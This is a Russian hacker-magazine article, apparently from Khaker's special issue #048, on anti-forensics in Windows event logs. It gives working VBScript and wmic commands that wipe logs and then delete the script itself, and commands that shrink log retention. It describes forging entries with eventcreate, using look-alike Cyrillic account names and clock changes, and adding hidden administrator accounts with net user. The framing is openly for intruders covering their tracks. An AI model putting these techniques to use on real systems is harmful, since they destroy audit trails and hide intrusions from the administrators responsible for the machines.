Карта сайта Хакер в RSS Энциклопедия Хакера PDA версия сайта Почтовые рассылки Хакера    Хакер в Twitter Хакер в ВКонтакте Приложение Хакер для Facebook Хакер на Formspring.me
Журнал Новости Форум Видео Life Xakep Live (блоги)
Bugtrack Статьи Блог Поиск English
Взлом как образ мысли Взлом как образ мысли
Интервью с человеком, который, как оказалось, является не только талантливым пентестером в одной из крупных ИБ-компании, но и хакером-ветераном, который уверенными шагами вышел на свет и прикоснулся к истории российской хак-сцены....
Полный гид по накрутке онлайн-голосований Полный гид по накрутке онлайн-голосований
Конкурсы с голосованием привлекают большое количество посетителей, а трафик, как известно, — это деньги. Особый интерес вызывают конкурсы, где за победу предлагаются лакомые призы....

Бортовой журнал

Анализирующий (analyst1945@mail.ru, www.wshinform.boom.ru)

Спецвыпуск: Хакер, номер #048


Препарируем логи Windows

«Чисти логи три раза в день!», «Уходя, он почистил за собой логи», «Заглянув в логи, администратор обнаружил…» - едва ли не самые часто встречающиеся фразы в историях андеграунда. Чистка логов – гарантия безопасности взломщика и залог его спокойного сна.

Читая очередную хакерскую байку, а, может, и не байку, а преукрашенную историю, я обратил внимание на стандартную концовку. Хеппи-энд выделялся в этом отчете полным отсутствием каких-либо подробностей, хотя все остальное было описано четко и внятно, с примерами команд, а в некоторых местах - и со скриншотами. Можно было подумать, что чистка логов - настолько простое занятие, что доступно любому пользователю, прошедшему недельные курсы и научившемуся после них отличать клавишу CTRL от SHIFT. Так что же представляет собой на самом деле чистка логов?

Для чистки используются всевозможные логвайперы и руткиты, и используются они преимущественно в Linux-системах. Но этот номер посвящен Win-системам, которые, кстати, могут вести логи не хуже пингвинообразных осей. Вся работа будет проводиться средствами, встроенными в саму систему, так что практически никакого стороннего софта нам не понадобится.

WSH – встроенная система автоматизации

По функциональным возможностям WSH (Windows Script Host) может успешно потягаться с консольными скриптами Linux, значительно превосходя их по простоте создания. В качестве инструмента разработки подойдет любой текстовый редактор. Сценарии готовы к работе сразу же после написания, если WSH не отключены на данном компьютере и поддерживаются операционной системой. Поддержка скриптов присутствует в Windows начиная с 98-й версии (для более ранних версий ОС сервер сценариев устанавливается отдельно), которой логи не снились в самом кошмарном сне. Возможности и синтаксис VBScript рассмотрены достаточно подробно в прошлых номерах журнала, поэтому упомянем лишь о том, что код сценария помещается в текстовый файл с расширением WSF после XML-конструкции в начале:

<?xml version="1.0" encoding="windows-1251"?>

<job id="T1">

<script language="VBScript">

<![CDATA[

и

]]>

</script>

</job>

в конце.

Наш выбор

Если слишком буквально понимать призыв «чисти логи!», то на программирование уйдет не более пары минут.

Сценарий, который можно видеть на врезке, достаточно поместить в папку «Автозагрузка». Результатом будет кристальная чистота журнала (или журналов - кому как нравится) событий и скрупулезный поиск багов, троянов и прочих mallware админом на почве обостренной подозрительности. Впрочем, если нет желания возвращаться на "попользованную" систему и нет желания вдаваться в подробности, то акт приравнивания к нулю объема файла журнала можно считать прощальным хлопком дверью, что будет ощутимым ударом по изнеженным нервам системщика.

Тому, кто планирует периодически навещать понравившуюся систему, разумнее было бы ограничить количество информации, хранимой в логах, по объему или числу прошедших дней. Это можно сделать с помощью командной строки, получив доступ к свойствам журнала событий с помощью псевдонима NTEVENTLOG. Для начала откроем окно командной консоли: Пуск –> Выполнить -> “cmd”. Затем запустим программу, позволяющую работать с WMI через командную строку, используя псевдонимы: «wmic». Для изменения нужных параметров наберем команды:

NTEVENTLOG WHERE LogFileName=”Application” SET MaxFileSize=65536

для адание максимального размера файла журнала «Приложение» в 64 килобайт.

NTEVENTLOG WHERE LogFileName=” System” SET OverwriteOutDated=1

для адание максимального срока хранения записей журнала «Система» в 1 день.

Кроме изменения настроек, псевдоним NTEVENTLOG позволяет просмотреть все свойства выбранного журнала событий:

NTEVENTLOG WHERE LogFileName=”Application” GET /VALUE

Если требуется «интеллектуальное» изменение настроек без участия человека, то нетрудно и написать оболочку-сценарий для этой команды. Один из вариантов такой оболочки показан во врезке.

Уникальный почерк или опасная улика?

По привычке руки набивают знакомые VBScript-операторы, в результате чего возникает сценарий, вносящий в журналы системы нужные записи.

Закончив любование проделанной работой, я захотел проверить ее результаты. Каково же было разочарование, когда в столбце журнала «Источник» («Source Type») обнаружилось разоблачающее взломщика значение «WSH». Панику смягчало лишь отсутствие указания на юзера, внесшего запись «Пользователь» – «Н/А» («User Name» - «N/A»). Нужно было искать другой путь. И он был найден.

Операционная система для хакера

Из глубин подсознания нахлынули давние воспоминания. Робко просматриваю справочную систему Windows и нахожу в справочнике по командной строке неприметную, но не менее от этого важную команду eventcreate, с помощью которой можно вносить записи в журналы событий непосредственно из командной строки.

Основное преимущество вышеуказанной команды перед сценариями WSH – возможность напрямую указать имя источника и пользователя. Правда, пользователь должен существовать, и пароль его должен быть известен. Кроме того, системные источники вроде «Userenv» или «MsiInstaller» заблокированы, а вносить запись от имени пользователя «System» не представляется возможным. Выдается сообщение «Ошибка: исходный параметр используется только для определения приложения или сценария (невстроенные источники)». Но, к счастью, для этой проблемы есть решение, которое лежит на поверхности. Суть в том, что некоторые символы латинского и кириллического алфавита имеют практически одинаковый вид (по крайней мере, в шрифтах Windows), но разные коды. «А» латинское и «А» кириллическое – не одно и то же, хотя и выглядят одинаково. Если создание учетной записи «System» невозможно, то пользователь «System» (с кириллической «е») добавляется на «Ура». После создания учетной записи от ее имени можно вносить события в системный журнал, а затем удалять в целях конспирации. Аналогичная подмена действует и на указание «Источника».

Остается еще одна проблема – дата и время внесения записи. На самом деле, при наличии прав Администратора это далеко не проблема, а, скажем так, небольшое препятствие. Все решается обычным переводом календаря и часов, что вполне осуществимо средствами командной строки и сценариев.

Как резюме ко всему здесь написанному. Схематично процедура удаления записи об определенных событиях выглядит так:

  • Сохранение некоторых записей журнала событий в отдельный источник
  • Создание учетных записей со специфическими именами
  • Очистка журнала событий
  • Считывание записей из архива
  • Изменение дат и времени и внесение считанных записей
  • Удаление временных учетных записей
  • Удаление архива записей
  • Установка текущей даты и времени

Отслеживаем события в реальном времени

Несмотря на кажущуюся простоту описанного способа иногда манипуляции с логами не имеют большого смысла, а, скорее, напоминают борьбу с симптомами заболевания, вместо выяснения и удаления причины болезни. Многие записи в журналы событий вносятся благодаря настройкам параметров локальной политики. Изменение локальной политики есть не что иное, как редактирование реестра в комфортной обстановке, то есть через консоль ММС. В этом легко убедиться, если одновременно с правкой политик безопасности воспользоваться средством мониторинга реестра, например RegFix. Измененные параметры можно сохранить и в будущем править с помощью командных файлов и сценариев WSH.

Большую опасность представляют приложения и сервисы, имеющие свою собственную систему документирования событий, иногда дублирующую записи в стандартные логи Windows. Также помимо пассивной регистрации произошедших изменений могут производиться конкретные действия, например, отправка SMS или ICQ системному администратору. Однако и злой взломщик может не остаться в долгу, запустив сценарий, отслеживающий появление в логах записей определенного типа.

Альтернативой этому WSH-сценарию служит CMD-команда eventtriggers, которая создает в операционной системе так называемые триггеры, отслеживающие выполнение определенных условий в журнале событий и действующие в соответствии с ними.

Пример создания триггера, взятый из справочного файла:

eventtriggers /create /s srvmain /u maindom\hiropln /p p@ssW23 /tr "Отсутствие места на диске" /eid 4133 /t warning /tk \\server\share\diskcleanup.cmd

За кадром

В статье, по причине ее ограниченного объема, не указан способ копирования записей из системных журналов в текстовый файл. Один из вариантов сценария, реализующего эти возможности, можно найти на прилагающемся к журналу диске, хотя лучшим примером, на мой взгляд, будет входящий в Windows XP Professional сценарий eventquery.vbs, на который, кстати, распространяется защита системных файлов.

Очищаем журналы событий

'Выбирается журнал событий

LogType = “Application” ‘Приложение

‘LogType = “System” ’Безопасность

‘LogType = “Security” ’Система

‘Подключается к пространству WMI – одной строкой!

Set Eventlog = GetObject(“winmgmts:{impersonationLevel=impersonate}”).ExecQuery(“select *from Win32_NTEventLogFile where Logfilename=’” & LogType & “’”)

‘Очищаются выбранные журналы

For each Entry in EventLog

Entry.ClearEventlog()

Next

'И завершающие штрихи – скипт стирает сам себя.

Scriptname=wscript.scriptfullname

set fso=CreateObject("Scripting.FileSystemObject")

fso.Getfile(Scriptname).Delete

‘Завершение работы сценария

Wscript.Quit

Изменение свойств логов

Option Explicit

Dim WshShell, objEnv, fso

Dim wmicpath, runstr, prm

Dim temp1, batfile, batfilerun

Dim LogFileNm

'Получается доступ к системным объектам

Set WshShell=CreateObject("WScript.Shell")

Set objEnv=WshShell.Environment("Process")

Set fso=CreateObject("Scripting.FileSystemObject")

'Определяется каталог временных файлов

temp1=objEnv("TEMP")

Назначается имя исполняемому файлу

batfile=temp1 & chr(92) & "logsettings.bat"

'Выбирается журнал

LogFileNm = chr(34) & "Application" & chr(34)

'LogFileNm = chr(34) & "System" & chr(34)

'LogFileNm = chr(34) & "Security" & chr(34)

'Формируется путь к wmic.exe

wmicpath = objEnv("windir") & "\system32\wbem\wmic.exe "

'Определяется устанавливаемый параметр

prm = "MaxFileSize=3000000"

'prm = "OverwriteOutDated=7"

'Формируется командная строка

runstr=wmicpath & "NTEVENTLOG WHERE LogFileName=" & LogFileNm & " SET " & prm

'Создается командный файл

Set batfilerun = fso.opentextfile(batfile,2,true)

batfilerun.writeline runstr '& "> nul"

batfilerun.close

'Выполняется командный файл в скрытом режиме

WshShell.run batfile,1

'Через 3 секунды командный файл удаляется

wscript.sleep 3000

fso.deletefile batfile

'Для контроля исполняемой команды

'msgbox runstr

Wscript.Quit

Вносим записи в логи сами

'Объявляются используемые переменные

Option Explicit

Dim WshShell, LEvent

Dim Ltype,LMsgevent,Lcomputer

'Ltype -Код типа события

'0 - Успех (Success)

'1 - Ошибка (Error)

'2 - Предупреждение (Warning)

'4 - Уведомление (Information)

'8 - Аудит успехов (Audit_Sucess)

'16 - Аудит отказов (Audit_Failure)

'LMsgevent - Текстовое сообщение

'Lcomputer - Дополнительный параметр, указывающий имя компьютера для записи события на удаленной машине

Ltype = 2

LMsgevent = "Настрой фаервол!"

'Получается доступ к системным объектам

Set WshShell=CreateObject("WScript.Shell")

'Вносится запись

LEvent=WshShell.LogEvent(Ltype,LMsgevent)

'Завершение работы сценария

Wscript.Quit

Отслеживаем появление в логах определенной записи

strComputer = "."

Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate, (System)}!\\" & strComputer & "\root\cimv2")

Set colMonitoredEvents = objWMIService.ExecNotificationQuery ("Select * from instancecreationevent where " & "TargetInstance isa 'Win32_NTLogEvent' " & "and TargetInstance.EventCode = '6005' ")

Do

Set objLatestEvent = colMonitoredEvents.NextEvent

strAlertToSend = objLatestEvent.TargetInstance.User & " attempted to access DatabaseServer."

' ***

‘ Команды, исполняемые при возникновении записи с кодом 6005 в журнале «Система»

‘***

Loop

Сайты, на которых можно найти материалы по WSH

Создать пользователя с помощью консоли можно командой “NET USER UserName UserPass /ADD”.

Поместить пользователя в группу «Администраторы» с помощью консоли можно командой “NET LOCALGROUP Администраторы UserName /ADD”.

Подробности о программе wmic можно узнать во встроенной справочной системе либо запустив ее с параметром «/?».

Чтобы regedit не вопил: "Добавить в реестр информацию из файла *.reg?", нужно запускать его с ключом "/s". Например, regedit.exe /s rulez.reg.

Команды Eventcreate, Eventtriggers и Eventquery достаточно подробно описаны во встроенной справке Windows XP Professional.

Большая часть вышеописанных действий возможна только при наличии прав Администратора и включенном сервере сценариев WSH.

Другие области применения сценариев WSH описывались в Спеце #07.2003(32), 08.2003(33) и 03.2004(40).

Содержание  





Предыдущие номера


    Rambler's Top100